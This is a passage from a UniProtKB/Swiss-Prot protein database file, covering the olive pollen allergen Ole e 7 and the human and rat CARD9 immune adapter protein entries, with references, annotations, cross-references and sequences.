CC -!- ALLERGEN: Causes an allergic reaction in human. Allergen from
CC olive pollen. Important in Mediterranean countries and California.
CC Its prevalence is related to the geographic area.
CC {ECO:0000269|PubMed:12173271}.
CC -----------------------------------------------------------------------
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CC Distributed under the Creative Commons Attribution-NoDerivs License
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DR Allergome; 3388; Ole e 7.0101.
DR Allergome; 495; Ole e 7.
PE 1: Evidence at protein level;
KW Allergen; Direct protein sequencing; Polymorphism.
FT CHAIN 1 >21 Pollen allergen Ole e 7.
FT /FTId=PRO_0000064563.
FT VARIANT 5 5 S -> G (in type B).
FT VARIANT 10 10 L -> K (in type B).
FT VARIANT 18 18 I -> K (in type B).
FT NON_TER 21 21
SQ SEQUENCE 21 AA; 2199 MW; F0E9B99FEB079400 CRC64;
APSQSTVTAL LTSCVSYIDD Q
//
ID CARD9_HUMAN Reviewed; 536 AA.
AC Q9H257; Q5SXM5; Q5SXM6; Q9H854;
DT 31-JAN-2002, integrated into UniProtKB/Swiss-Prot.
DT 03-APR-2007, sequence version 2.
DT 07-SEP-2016, entry version 137.
DE RecName: Full=Caspase recruitment domain-containing protein 9;
DE Short=hCARD9;
GN Name=CARD9;
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hominidae; Homo.
OX NCBI_TaxID=9606;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA] (ISOFORM 1), VARIANT ASN-12, FUNCTION,
RP SUBCELLULAR LOCATION, AND INTERACTION WITH BCL10.
RX PubMed=11053425; DOI=10.1074/jbc.C000726200;
RA Bertin J., Guo Y., Wang L., Srinivasula S.M., Jacobson M.D.,
RA Poyet J.-L., Merriam S., Du M.-Q., Dyer M.J.S., Robison K.E.,
RA DiStefano P.S., Alnemri E.S.;
RT "CARD9 is a novel caspase recruitment domain-containing protein that
RT interacts with Bcl10/CLAP and activates NF-kappa B.";
RL J. Biol. Chem. 275:41082-41086(2000).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORMS 1 AND 3), AND VARIANT
RP ASN-12.
RC TISSUE=Retinoblastoma, and Synovium;
RX PubMed=14702039; DOI=10.1038/ng1285;
RA Ota T., Suzuki Y., Nishikawa T., Otsuki T., Sugiyama T., Irie R.,
RA Wakamatsu A., Hayashi K., Sato H., Nagai K., Kimura K., Makita H.,
RA Sekine M., Obayashi M., Nishi T., Shibahara T., Tanaka T., Ishii S.,
RA Yamamoto J., Saito K., Kawai Y., Isono Y., Nakamura Y., Nagahari K.,
RA Murakami K., Yasuda T., Iwayanagi T., Wagatsuma M., Shiratori A.,
RA Sudo H., Hosoiri T., Kaku Y., Kodaira H., Kondo H., Sugawara M.,
RA Takahashi M., Kanda K., Yokoi T., Furuya T., Kikkawa E., Omura Y.,
RA Abe K., Kamihara K., Katsuta N., Sato K., Tanikawa M., Yamazaki M.,
RA Ninomiya K., Ishibashi T., Yamashita H., Murakawa K., Fujimori K.,
RA Tanai H., Kimata M., Watanabe M., Hiraoka S., Chiba Y., Ishida S.,
RA Ono Y., Takiguchi S., Watanabe S., Yosida M., Hotuta T., Kusano J.,
RA Kanehori K., Takahashi-Fujii A., Hara H., Tanase T.-O., Nomura Y.,
RA Togiya S., Komai F., Hara R., Takeuchi K., Arita M., Imose N.,
RA Musashino K., Yuuki H., Oshima A., Sasaki N., Aotsuka S.,
RA Yoshikawa Y., Matsunawa H., Ichihara T., Shiohata N., Sano S.,
RA Moriya S., Momiyama H., Satoh N., Takami S., Terashima Y., Suzuki O.,
RA Nakagawa S., Senoh A., Mizoguchi H., Goto Y., Shimizu F., Wakebe H.,
RA Hishigaki H., Watanabe T., Sugiyama A., Takemoto M., Kawakami B.,
RA Yamazaki M., Watanabe K., Kumagai A., Itakura S., Fukuzumi Y.,
RA Fujimori Y., Komiyama M., Tashiro H., Tanigami A., Fujiwara T.,
RA Ono T., Yamada K., Fujii Y., Ozaki K., Hirao M., Ohmori Y.,
RA Kawabata A., Hikiji T., Kobatake N., Inagaki H., Ikema Y., Okamoto S.,
RA Okitani R., Kawakami T., Noguchi S., Itoh T., Shigeta K., Senba T.,
RA Matsumura K., Nakajima Y., Mizuno T., Morinaga M., Sasaki M.,
RA Togashi T., Oyama M., Hata H., Watanabe M., Komatsu T.,
RA Mizushima-Sugano J., Satoh T., Shirai Y., Takahashi Y., Nakagawa K.,
RA Okumura K., Nagase T., Nomura N., Kikuchi H., Masuho Y., Yamashita R.,
RA Nakai K., Yada T., Nakamura Y., Ohara O., Isogai T., Sugano S.;
RT "Complete sequencing and characterization of 21,243 full-length human
RT cDNAs.";
RL Nat. Genet. 36:40-45(2004).
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RX PubMed=15164053; DOI=10.1038/nature02465;
RA Humphray S.J., Oliver K., Hunt A.R., Plumb R.W., Loveland J.E.,
RA Howe K.L., Andrews T.D., Searle S., Hunt S.E., Scott C.E., Jones M.C.,
RA Ainscough R., Almeida J.P., Ambrose K.D., Ashwell R.I.S.,
RA Babbage A.K., Babbage S., Bagguley C.L., Bailey J., Banerjee R.,
RA Barker D.J., Barlow K.F., Bates K., Beasley H., Beasley O., Bird C.P.,
RA Bray-Allen S., Brown A.J., Brown J.Y., Burford D., Burrill W.,
RA Burton J., Carder C., Carter N.P., Chapman J.C., Chen Y., Clarke G.,
RA Clark S.Y., Clee C.M., Clegg S., Collier R.E., Corby N., Crosier M.,
RA Cummings A.T., Davies J., Dhami P., Dunn M., Dutta I., Dyer L.W.,
RA Earthrowl M.E., Faulkner L., Fleming C.J., Frankish A.,
RA Frankland J.A., French L., Fricker D.G., Garner P., Garnett J.,
RA Ghori J., Gilbert J.G.R., Glison C., Grafham D.V., Gribble S.,
RA Griffiths C., Griffiths-Jones S., Grocock R., Guy J., Hall R.E.,
RA Hammond S., Harley J.L., Harrison E.S.I., Hart E.A., Heath P.D.,
RA Henderson C.D., Hopkins B.L., Howard P.J., Howden P.J., Huckle E.,
RA Johnson C., Johnson D., Joy A.A., Kay M., Keenan S., Kershaw J.K.,
RA Kimberley A.M., King A., Knights A., Laird G.K., Langford C.,
RA Lawlor S., Leongamornlert D.A., Leversha M., Lloyd C., Lloyd D.M.,
RA Lovell J., Martin S., Mashreghi-Mohammadi M., Matthews L., McLaren S.,
RA McLay K.E., McMurray A., Milne S., Nickerson T., Nisbett J.,
RA Nordsiek G., Pearce A.V., Peck A.I., Porter K.M., Pandian R.,
RA Pelan S., Phillimore B., Povey S., Ramsey Y., Rand V., Scharfe M.,
RA Sehra H.K., Shownkeen R., Sims S.K., Skuce C.D., Smith M.,
RA Steward C.A., Swarbreck D., Sycamore N., Tester J., Thorpe A.,
RA Tracey A., Tromans A., Thomas D.W., Wall M., Wallis J.M., West A.P.,
RA Whitehead S.L., Willey D.L., Williams S.A., Wilming L., Wray P.W.,
RA Young L., Ashurst J.L., Coulson A., Blocker H., Durbin R.M.,
RA Sulston J.E., Hubbard T., Jackson M.J., Bentley D.R., Beck S.,
RA Rogers J., Dunham I.;
RT "DNA sequence and analysis of human chromosome 9.";
RL Nature 429:369-374(2004).
RN [4]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RA Mural R.J., Istrail S., Sutton G., Florea L., Halpern A.L.,
RA Mobarry C.M., Lippert R., Walenz B., Shatkay H., Dew I., Miller J.R.,
RA Flanigan M.J., Edwards N.J., Bolanos R., Fasulo D., Halldorsson B.V.,
RA Hannenhalli S., Turner R., Yooseph S., Lu F., Nusskern D.R.,
RA Shue B.C., Zheng X.H., Zhong F., Delcher A.L., Huson D.H.,
RA Kravitz S.A., Mouchard L., Reinert K., Remington K.A., Clark A.G.,
RA Waterman M.S., Eichler E.E., Adams M.D., Hunkapiller M.W., Myers E.W.,
RA Venter J.C.;
RL Submitted (JUL-2005) to the EMBL/GenBank/DDBJ databases.
RN [5]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORM 2).
RC TISSUE=Muscle;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [6]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-460, AND IDENTIFICATION
RP BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Platelet;
RX PubMed=18088087; DOI=10.1021/pr0704130;
RA Zahedi R.P., Lewandrowski U., Wiesner J., Wortelkamp S., Moebius J.,
RA Schuetz C., Walter U., Gambaryan S., Sickmann A.;
RT "Phosphoproteome of resting human platelets.";
RL J. Proteome Res. 7:526-534(2008).
RN [7]
RP INVOLVEMENT IN CANDF2.
RX PubMed=19864672; DOI=10.1056/NEJMoa0810719;
RA Glocker E.-O., Hennigs A., Nabavi M., Schaeffer A.A., Woellner C.,
RA Salzer U., Pfeifer D., Veelken H., Warnatz K., Tahami F., Jamal S.,
RA Manguiat A., Rezaei N., Amirzargar A.A., Plebani A.,
RA Hannesschlaeger N., Gross O., Ruland J., Grimbacher B.;
RT "A homozygous CARD9 mutation in a family with susceptibility to fungal
RT infections.";
RL N. Engl. J. Med. 361:1727-1735(2009).
RN [8]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-277; SER-425; SER-483
RP AND SER-498, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RC TISSUE=Erythroleukemia;
RX PubMed=23186163; DOI=10.1021/pr300630k;
RA Zhou H., Di Palma S., Preisinger C., Peng M., Polat A.N., Heck A.J.,
RA Mohammed S.;
RT "Toward a comprehensive characterization of a human cancer cell
RT phosphoproteome.";
RL J. Proteome Res. 12:260-271(2013).
RN [9]
RP INTERACTION WITH NOD2.
RX PubMed=24960071; DOI=10.1016/j.febslet.2014.06.035;
RA Parkhouse R., Boyle J.P., Mayle S., Sawmynaden K., Rittinger K.,
RA Monie T.P.;
RT "Interaction between NOD2 and CARD9 involves the NOD2 NACHT and the
RT linker region between the NOD2 CARDs and NACHT domain.";
RL FEBS Lett. 588:2830-2836(2014).
RN [10]
RP VARIANTS CANDF2 SER-72 AND PRO-373.
RX PubMed=23335372; DOI=10.1182/blood-2012-08-450551;
RA Drewniak A., Gazendam R.P., Tool A.T., van Houdt M., Jansen M.H.,
RA van Hamme J.L., van Leeuwen E.M., Roos D., Scalais E., de Beaufort C.,
RA Janssen H., van den Berg T.K., Kuijpers T.W.;
RT "Invasive fungal infection and impaired neutrophil killing in human
RT CARD9 deficiency.";
RL Blood 121:2385-2392(2013).
RN [11]
RP VARIANT CANDF2 CYS-101.
RX PubMed=24131138; DOI=10.1056/NEJMoa1208487;
RA Lanternier F., Pathan S., Vincent Q.B., Liu L., Cypowyj S., Prando C.,
RA Migaud M., Taibi L., Ammar-Khodja A., Boudghene Stambouli O.,
RA Guellil B., Jacobs F., Goffard J.C., Schepers K., del Marmol V.,
RA Boussofara L., Denguezli M., Larif M., Bachelez H., Michel L.,
RA Lefranc G., Hay R., Jouvion G., Chretien F., Fraitag S.,
RA Bougnoux M.E., Boudia M., Abel L., Lortholary O., Casanova J.L.,
RA Picard C., Grimbacher B., Puel A.;
RT "Deep dermatophytosis and inherited CARD9 deficiency.";
RL N. Engl. J. Med. 369:1704-1714(2013).
CC -!- FUNCTION: Adapter protein that plays a key role in innate immune
CC response to a number of intracellular pathogens, such as
CC C.albicans and L.monocytogenes. Is at the crossroads of ITAM-
CC tyrosine kinase and the Toll-like receptors (TLR) and NOD2
CC signaling pathways. Probably controls various innate immune
CC response pathways depending on the intracellular pathogen. In
CC response to L.monocytogenes infection, acts by connecting NOD2
CC recognition of peptidoglycan to downstream activation of MAP
CC kinases (MAPK) without activating NF-kappa-B. Also involved in
CC activation of myeloid cells via classical ITAM-associated
CC receptors and TLR: required for TLR-mediated activation of MAPK,
CC while it is not required for TLR-induced activation of NF-kappa-B
CC (By similarity). Controls CLEC7A (dectin-1)-mediated myeloid cell
CC activation induced by the yeast cell wall component zymosan,
CC leading to cytokine production and innate anti-fungal immunity:
CC acts by regulating BCL10-MALT1-mediated NF-kappa-B activation
CC pathway. Activates NF-kappa-B via BCL10. In response to the hyphal
CC form of C.albicans, mediates CLEC6A (dectin-2)-induced I-kappa-B
CC kinase ubiquitination, leading to NF-kappa-B activation via
CC interaction with BCL10. In response to fungal infection, may be
CC required for the development and subsequent differentiation of
CC interleukin 17-producing T helper (TH-17) cells. {ECO:0000250,
CC ECO:0000269|PubMed:11053425}.
CC -!- SUBUNIT: Interacts with NOD2 (via NACHT domain) (PubMed:24960071).
CC Interacts with RIPK2 (By similarity). Interacts with VHL; without
CC leading to protein degradation (By similarity). Self-associates.
CC Interacts (via CARD domain) with BCL10 (via CARD domain)
CC (PubMed:11053425). {ECO:0000250|UniProtKB:A2AIV8,
CC ECO:0000250|UniProtKB:Q9EPY0, ECO:0000269|PubMed:11053425,
CC ECO:0000269|PubMed:24960071}.
CC -!- INTERACTION:
CC A8K932:-; NbExp=3; IntAct=EBI-751319, EBI-10174671;
CC A8KAD6:-; NbExp=3; IntAct=EBI-751319, EBI-10174974;
CC O14639:ABLIM1; NbExp=3; IntAct=EBI-751319, EBI-487024;
CC Q08117:AES; NbExp=3; IntAct=EBI-751319, EBI-717810;
CC Q53TS8:ALS2CR11; NbExp=3; IntAct=EBI-751319, EBI-739879;
CC Q9Y2J4-4:AMOTL2; NbExp=5; IntAct=EBI-751319, EBI-10187270;
CC O95999:BCL10; NbExp=6; IntAct=EBI-751319, EBI-958922;
CC Q9H2G9:BLZF1; NbExp=3; IntAct=EBI-751319, EBI-2548012;
CC Q6P1W5:C1orf94; NbExp=3; IntAct=EBI-751319, EBI-946029;
CC Q8IYA8:CCDC36; NbExp=3; IntAct=EBI-751319, EBI-8638439;
CC Q8TD31-3:CCHCR1; NbExp=3; IntAct=EBI-751319, EBI-10175300;
CC Q96GN5:CDCA7L; NbExp=3; IntAct=EBI-751319, EBI-5278764;
CC Q8IYX8-2:CEP57L1; NbExp=3; IntAct=EBI-751319, EBI-10181988;
CC Q8NHQ1:CEP70; NbExp=3; IntAct=EBI-751319, EBI-739624;
CC Q9UER7:DAXX; NbExp=3; IntAct=EBI-751319, EBI-77321;
CC Q9UII6:DUSP13; NbExp=3; IntAct=EBI-751319, EBI-749800;
CC O60573:EIF4E2; NbExp=3; IntAct=EBI-751319, EBI-398610;
CC Q9H5Z6:FAM124B; NbExp=3; IntAct=EBI-751319, EBI-741626;
CC Q3B820:FAM161A; NbExp=3; IntAct=EBI-751319, EBI-719941;
CC Q5VWN6-2:FAM208B; NbExp=3; IntAct=EBI-751319, EBI-10172380;
CC Q9Y247:FAM50B; NbExp=3; IntAct=EBI-751319, EBI-742802;
CC Q6NT76:HMBOX1; NbExp=3; IntAct=EBI-751319, EBI-2549423;
CC Q7L273:KCTD9; NbExp=3; IntAct=EBI-751319, EBI-4397613;
CC P08727:KRT19; NbExp=3; IntAct=EBI-751319, EBI-742756;
CC Q15323:KRT31; NbExp=3; IntAct=EBI-751319, EBI-948001;
CC Q6A162:KRT40; NbExp=3; IntAct=EBI-751319, EBI-10171697;
CC P60370:KRTAP10-5; NbExp=3; IntAct=EBI-751319, EBI-10172150;
CC Q96BZ8:LENG1; NbExp=3; IntAct=EBI-751319, EBI-726510;
CC P25800:LMO1; NbExp=3; IntAct=EBI-751319, EBI-8639312;
CC Q9BRK4:LZTS2; NbExp=3; IntAct=EBI-751319, EBI-741037;
CC A4D127:MEOX2; NbExp=3; IntAct=EBI-751319, EBI-10172134;
CC P55081:MFAP1; NbExp=3; IntAct=EBI-751319, EBI-1048159;
CC H3BTW2:NECAB2; NbExp=3; IntAct=EBI-751319, EBI-10172876;
CC Q8TB93:PAK7; NbExp=3; IntAct=EBI-751319, EBI-741896;
CC P40425:PBX2; NbExp=3; IntAct=EBI-751319, EBI-348489;
CC Q8IXK0:PHC2; NbExp=3; IntAct=EBI-751319, EBI-713786;
CC Q96PV4:PNMA5; NbExp=3; IntAct=EBI-751319, EBI-10171633;
CC Q6NYC8:PPP1R18; NbExp=3; IntAct=EBI-751319, EBI-2557469;
CC Q14D33:RTP5; NbExp=3; IntAct=EBI-751319, EBI-10217913;
CC Q9Y2D8:SSX2IP; NbExp=3; IntAct=EBI-751319, EBI-2212028;
CC O75558:STX11; NbExp=3; IntAct=EBI-751319, EBI-714135;
CC P63165:SUMO1; NbExp=3; IntAct=EBI-751319, EBI-80140;
CC Q8N8B7:TCEANC; NbExp=3; IntAct=EBI-751319, EBI-954696;
CC P56279:TCL1A; NbExp=3; IntAct=EBI-751319, EBI-749995;
CC Q9UBB9:TFIP11; NbExp=3; IntAct=EBI-751319, EBI-1105213;
CC Q13829:TNFAIP1; NbExp=3; IntAct=EBI-751319, EBI-2505861;
CC P36406:TRIM23; NbExp=3; IntAct=EBI-751319, EBI-740098;
CC Q14134:TRIM29; NbExp=3; IntAct=EBI-751319, EBI-702370;
CC A1L4B6:TRIM42; NbExp=3; IntAct=EBI-751319, EBI-10172216;
CC Q9BYV2:TRIM54; NbExp=3; IntAct=EBI-751319, EBI-2130429;
CC Q99598:TSNAX; NbExp=5; IntAct=EBI-751319, EBI-742638;
CC Q9Y4E8:USP15; NbExp=3; IntAct=EBI-751319, EBI-1043104;
CC Q548N1:VPS28; NbExp=3; IntAct=EBI-751319, EBI-10243107;
CC Q8N3Z6:ZCCHC7; NbExp=3; IntAct=EBI-751319, EBI-7265024;
CC P15622-3:ZNF250; NbExp=3; IntAct=EBI-751319, EBI-10177272;
CC Q8TAU3:ZNF417; NbExp=3; IntAct=EBI-751319, EBI-740727;
CC A1L4E9:ZNF572; NbExp=3; IntAct=EBI-751319, EBI-10172590;
CC Q7Z3I7:ZNF572; NbExp=3; IntAct=EBI-751319, EBI-10257016;
CC Q96SQ5:ZNF587; NbExp=3; IntAct=EBI-751319, EBI-6427977;
CC Q8N720:ZNF655; NbExp=3; IntAct=EBI-751319, EBI-625509;
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000269|PubMed:11053425}.
CC -!- ALTERNATIVE PRODUCTS:
CC Event=Alternative splicing; Named isoforms=3;
CC Name=1;
CC IsoId=Q9H257-1; Sequence=Displayed;
CC Name=2;
CC IsoId=Q9H257-2; Sequence=VSP_024392, VSP_024393;
CC Note=No experimental confirmation available.;
CC Name=3;
CC IsoId=Q9H257-3; Sequence=VSP_024390, VSP_024391;
CC Note=No experimental confirmation available. May be produced at
CC very low levels due to a premature stop codon in the mRNA,
CC leading to nonsense-mediated mRNA decay.;
CC -!- TISSUE SPECIFICITY: Highly expressed in spleen. Also detected in
CC liver, placenta, lung, peripheral blood leukocytes and in brain.
CC -!- PTM: Phosphorylated at Thr-531 and Thr-533 by CK2 following
CC interaction with VHL, leading to inhibit the ability to activate
CC NF-kappa-B. {ECO:0000250}.
CC -!- DISEASE: Candidiasis, familial, 2 (CANDF2) [MIM:212050]: A primary
CC immunodeficiency disorder with altered immune responses and
CC impaired clearance of fungal infections, selective against
CC Candida. It is characterized by persistent and/or recurrent
CC infections of the skin, nails and mucous membranes caused by
CC organisms of the genus Candida, mainly Candida albicans.
CC {ECO:0000269|PubMed:19864672, ECO:0000269|PubMed:23335372,
CC ECO:0000269|PubMed:24131138}. Note=The disease is caused by
CC mutations affecting the gene represented in this entry. Defects
CC induce reduced numbers of CD4(+) Th17 lymphocytes as well as a
CC lack of monocyte-derived cytokines in response to Candida strains.
CC Neutrophils show a selective Candida albicans killing defect with
CC abnormal ultrastructural phagolysosomes and outgrowth of hyphae
CC (PubMed:23335372). {ECO:0000269|PubMed:23335372}.
CC -!- SIMILARITY: Contains 1 CARD domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00046}.
CC -----------------------------------------------------------------------
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DR EMBL; AF311287; AAG28790.1; -; mRNA.
DR EMBL; AK024001; BAB14766.1; -; mRNA.
DR EMBL; AK292081; BAF84770.1; -; mRNA.
DR EMBL; AL592301; CAI13931.1; -; Genomic_DNA.
DR EMBL; AL592301; CAI13932.1; -; Genomic_DNA.
DR EMBL; CH471090; EAW88220.1; -; Genomic_DNA.
DR EMBL; BC008877; AAH08877.1; -; mRNA.
DR CCDS; CCDS48057.1; -. [Q9H257-2]
DR CCDS; CCDS6997.1; -. [Q9H257-1]
DR RefSeq; NP_434700.2; NM_052813.4. [Q9H257-1]
DR RefSeq; NP_434701.1; NM_052814.3. [Q9H257-2]
DR UniGene; Hs.694071; -.
DR ProteinModelPortal; Q9H257; -.
DR SMR; Q9H257; 11-98.
DR BioGrid; 122094; 76.
DR IntAct; Q9H257; 70.
DR STRING; 9606.ENSP00000360797; -.
DR iPTMnet; Q9H257; -.
DR PhosphoSite; Q9H257; -.
DR BioMuta; CARD9; -.
DR DMDM; 143811370; -.
DR EPD; Q9H257; -.
DR MaxQB; Q9H257; -.
DR PaxDb; Q9H257; -.
DR PeptideAtlas; Q9H257; -.
DR PRIDE; Q9H257; -.
DR DNASU; 64170; -.
DR Ensembl; ENST00000371732; ENSP00000360797; ENSG00000187796. [Q9H257-1]
DR Ensembl; ENST00000371734; ENSP00000360799; ENSG00000187796. [Q9H257-2]
DR Ensembl; ENST00000489932; ENSP00000451368; ENSG00000187796. [Q9H257-3]
DR GeneID; 64170; -.
DR KEGG; hsa:64170; -.
DR UCSC; uc004chg.4; human. [Q9H257-1]
DR CTD; 64170; -.
DR GeneCards; CARD9; -.
DR HGNC; HGNC:16391; CARD9.
DR HPA; HPA059502; -.
DR MalaCards; CARD9; -.
DR MIM; 212050; phenotype.
DR MIM; 607212; gene.
DR neXtProt; NX_Q9H257; -.
DR Orphanet; 1334; Chronic mucocutaneous candidosis.
DR Orphanet; 397587; Deep dermatophytosis.
DR PharmGKB; PA26077; -.
DR eggNOG; ENOG410IE3N; Eukaryota.
DR eggNOG; ENOG410Y2EE; LUCA.
DR GeneTree; ENSGT00530000063108; -.
DR HOGENOM; HOG000231538; -.
DR HOVERGEN; HBG058091; -.
DR InParanoid; Q9H257; -.
DR KO; K12794; -.
DR OMA; DECWSVL; -.
DR OrthoDB; EOG091G0T58; -.
DR PhylomeDB; Q9H257; -.
DR TreeFam; TF351139; -.
DR Reactome; R-HSA-168638; NOD1/2 Signaling Pathway.
DR Reactome; R-HSA-5607764; CLEC7A (Dectin-1) signaling.
DR SIGNOR; Q9H257; -.
DR GeneWiki; CARD9; -.
DR GenomeRNAi; 64170; -.
DR PRO; PR:Q9H257; -.
DR Proteomes; UP000005640; Chromosome 9.
DR Bgee; ENSG00000187796; -.
DR CleanEx; HS_CARD9; -.
DR ExpressionAtlas; Q9H257; baseline and differential.
DR Genevisible; Q9H257; HS.
DR GO; GO:0005737; C:cytoplasm; IDA:UniProtKB.
DR GO; GO:0005829; C:cytosol; TAS:Reactome.
DR GO; GO:0005886; C:plasma membrane; TAS:Reactome.
DR GO; GO:0050700; F:CARD domain binding; IPI:UniProtKB.
DR GO; GO:0042803; F:protein homodimerization activity; IPI:UniProtKB.
DR GO; GO:0050830; P:defense response to Gram-positive bacterium; IEA:Ensembl.
DR GO; GO:0051607; P:defense response to virus; IEA:Ensembl.
DR GO; GO:0007249; P:I-kappaB kinase/NF-kappaB signaling; IEA:Ensembl.
DR GO; GO:0045087; P:innate immune response; IEA:UniProtKB-KW.
DR GO; GO:0043123; P:positive regulation of I-kappaB kinase/NF-kappaB signaling; IEP:UniProtKB.
DR GO; GO:0032755; P:positive regulation of interleukin-6 production; IEA:Ensembl.
DR GO; GO:0046330; P:positive regulation of JNK cascade; IDA:MGI.
DR GO; GO:0032874; P:positive regulation of stress-activated MAPK cascade; IDA:MGI.
DR GO; GO:0032760; P:positive regulation of tumor necrosis factor production; IEA:Ensembl.
DR GO; GO:0042981; P:regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0045076; P:regulation of interleukin-2 biosynthetic process; IEA:Ensembl.
DR GO; GO:0045408; P:regulation of interleukin-6 biosynthetic process; IEA:Ensembl.
DR GO; GO:0042534; P:regulation of tumor necrosis factor biosynthetic process; IEA:Ensembl.
DR GO; GO:0042493; P:response to drug; IEA:Ensembl.
DR GO; GO:0043330; P:response to exogenous dsRNA; IEA:Ensembl.
DR GO; GO:0009620; P:response to fungus; IEA:Ensembl.
DR GO; GO:0032495; P:response to muramyl dipeptide; IEA:Ensembl.
DR GO; GO:0032494; P:response to peptidoglycan; IEA:Ensembl.
DR GO; GO:0002223; P:stimulatory C-type lectin receptor signaling pathway; TAS:Reactome.
DR Gene3D; 1.10.533.10; -; 1.
DR InterPro; IPR001315; CARD.
DR InterPro; IPR011029; DEATH-like_dom.
DR Pfam; PF00619; CARD; 1.
DR SUPFAM; SSF47986; SSF47986; 1.
DR PROSITE; PS50209; CARD; 1.
PE 1: Evidence at protein level;
KW Alternative splicing; Coiled coil; Complete proteome; Cytoplasm;
KW Disease mutation; Immunity; Innate immunity; Phosphoprotein;
KW Polymorphism; Reference proteome.
FT CHAIN 1 536 Caspase recruitment domain-containing
FT protein 9.
FT /FTId=PRO_0000144082.
FT DOMAIN 6 98 CARD. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT COILED 117 277 {ECO:0000255}.
FT COILED 332 419 {ECO:0000255}.
FT MOD_RES 2 2 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9EPY0}.
FT MOD_RES 277 277 Phosphoserine.
FT {ECO:0000244|PubMed:23186163}.
FT MOD_RES 424 424 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9EPY0}.
FT MOD_RES 425 425 Phosphoserine.
FT {ECO:0000244|PubMed:23186163}.
FT MOD_RES 431 431 Phosphoserine.
FT {ECO:0000250|UniProtKB:A2AIV8}.
FT MOD_RES 450 450 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9EPY0}.
FT MOD_RES 460 460 Phosphoserine.
FT {ECO:0000244|PubMed:18088087}.
FT MOD_RES 483 483 Phosphoserine.
FT {ECO:0000244|PubMed:23186163}.
FT MOD_RES 498 498 Phosphoserine.
FT {ECO:0000244|PubMed:23186163}.
FT MOD_RES 531 531 Phosphothreonine; by CK2. {ECO:0000250}.
FT MOD_RES 533 533 Phosphothreonine; by CK2. {ECO:0000250}.
FT VAR_SEQ 360 366 AIATREE -> STQMEGL (in isoform 3).
FT {ECO:0000303|PubMed:14702039}.
FT /FTId=VSP_024390.
FT VAR_SEQ 367 536 Missing (in isoform 3).
FT {ECO:0000303|PubMed:14702039}.
FT /FTId=VSP_024391.
FT VAR_SEQ 482 492 LSSGEPPEKER -> PAGLPGIGAVC (in isoform
FT 2). {ECO:0000303|PubMed:15489334}.
FT /FTId=VSP_024392.
FT VAR_SEQ 493 536 Missing (in isoform 2).
FT {ECO:0000303|PubMed:15489334}.
FT /FTId=VSP_024393.
FT VARIANT 12 12 S -> N (in dbSNP:rs4077515).
FT {ECO:0000269|PubMed:11053425,
FT ECO:0000269|PubMed:14702039}.
FT /FTId=VAR_048607.
FT VARIANT 72 72 G -> S (in CANDF2; found in a compound
FT heterozygote also carrying P-373; patient
FT neutrophils do not express CARD9;
FT dbSNP:rs398122362).
FT {ECO:0000269|PubMed:23335372}.
FT /FTId=VAR_070828.
FT VARIANT 101 101 R -> C (in CANDF2; dbSNP:rs398122364).
FT {ECO:0000269|PubMed:24131138}.
FT /FTId=VAR_070829.
FT VARIANT 373 373 R -> P (in CANDF2; found in a compound
FT heterozygote also carrying S-72; patient
FT neutrophils do not express CARD9;
FT dbSNP:rs149712114).
FT {ECO:0000269|PubMed:23335372}.
FT /FTId=VAR_070830.
SQ SEQUENCE 536 AA; 62241 MW; 6EB18353112F2BAC CRC64;
MSDYENDDEC WSVLEGFRVT LTSVIDPSRI TPYLRQCKVL NPDDEEQVLS DPNLVIRKRK
VGVLLDILQR TGHKGYVAFL ESLELYYPQL YKKVTGKEPA RVFSMIIDAS GESGLTQLLM
TEVMKLQKKV QDLTALLSSK DDFIKELRVK DSLLRKHQER VQRLKEECEA GSRELKRCKE
ENYDLAMRLA HQSEEKGAAL MRNRDLQLEI DQLKHSLMKA EDDCKVERKH TLKLRHAMEQ
RPSQELLWEL QQEKALLQAR VQELEASVQE GKLDRSSPYI QVLEEDWRQA LRDHQEQANT
IFSLRKDLRQ GEARRLRCME EKEMFELQCL ALRKDSKMYK DRIEAILLQM EEVAIERDQA
IATREELHAQ HARGLQEKDA LRKQVRELGE KADELQLQVF QCEAQLLAVE GRLRRQQLET
LVLSSDLEDG SPRRSQELSL PQDLEDTQLS DKGCLAGGGS PKQPFAALHQ EQVLRNPHDA
GLSSGEPPEK ERRRLKESFE NYRRKRALRK MQKGWRQGEE DRENTTGSDN TDTEGS
//
ID CARD9_RAT Reviewed; 536 AA.
AC Q9EPY0; F1LQK8;
DT 31-JAN-2002, integrated into UniProtKB/Swiss-Prot.
DT 01-MAR-2001, sequence version 1.
DT 07-SEP-2016, entry version 96.
DE RecName: Full=Caspase recruitment domain-containing protein 9;
DE Short=rCARD9;
GN Name=Card9;
OS Rattus norvegicus (Rat).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Rattus.
OX NCBI_TaxID=10116;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC STRAIN=Sprague-Dawley;
RX PubMed=11053425; DOI=10.1074/jbc.C000726200;
RA Bertin J., Guo Y., Wang L., Srinivasula S.M., Jacobson M.D.,
RA Poyet J.-L., Merriam S., Du M.-Q., Dyer M.J.S., Robison K.E.,
